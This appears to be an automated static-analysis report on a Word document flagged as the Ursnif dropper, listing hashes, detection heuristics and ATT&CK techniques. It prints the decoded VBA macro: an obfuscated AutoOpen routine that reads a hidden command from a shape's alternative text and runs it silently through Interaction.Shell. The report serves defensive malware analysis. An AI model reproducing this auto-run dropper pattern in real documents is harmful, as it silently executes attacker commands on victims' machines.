Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 e0d56f6ae7fe931c…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 482f6031e1429d928e29e606872edb84 SHA-1: 638e531649451b7ece95253c1d9c0f7e05ab784f SHA-256: e0d56f6ae7fe931c1c97b766019e9d5d8562e21bd02563fa66ac8a4e6b31190b
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0, indicating it belongs to the Ursnif family. The presence of an AutoOpen VBA macro, specifically detected by OLE_VBA_AUTOOPEN and OLE_LEGACY_WORDBASIC_AUTOEXEC heuristics, suggests the macro executes automatically upon opening the document. The script within the macro, 'rzyhuzu.bas', uses 'Interaction.Shell' to execute a command, likely to download and run a second-stage payload, which is a common Ursnif behavior.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1190 bytes
SHA-256: 48a17f8448e7fc9cfab79660220e84ce656dd28802ad80537b6d6af08daa5d82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rzyhuzu"
Function dhasypezer()

Dim OluHQ As Integer
Dim sRjiiPy As Long
OluHQ = 8715# - 8087#
Dim zjarokykuh As Variant
zjarokykuh = OluHQ - 7078#









Set dhasypezer = ActiveDocument.Shapes(2)





End Function
Sub AutoOpen()

Dim VUdeoLD As Integer
Dim dvusixu As Long
VUdeoLD = 4789# - 8953#
Dim JApVDwx As Variant
JApVDwx = VUdeoLD - 1126#





Set uCSZNZ = dhasypezer

dqujub = dhasypezer.AlternativeText



Dim gJouxmoJ As Integer
Dim dpod As Long
gJouxmoJ = 5578# - 2633#
Dim btekaciq As Variant
btekaciq = gJouxmoJ - 2181#

Interaction.Shell@ _
dqujub, vbHide

Dim stado As Integer
Dim nkepi As Long
stado = 8715# - 2343#
Dim ulfgTjWn As Variant
ulfgTjWn = stado - 9278#





Dim qsyvow As Integer
Dim TdNWbZtp As Long
qsyvow = 2076# - 1872#
Dim WYPozeY As Variant
WYPozeY = qsyvow - 1902#

End Sub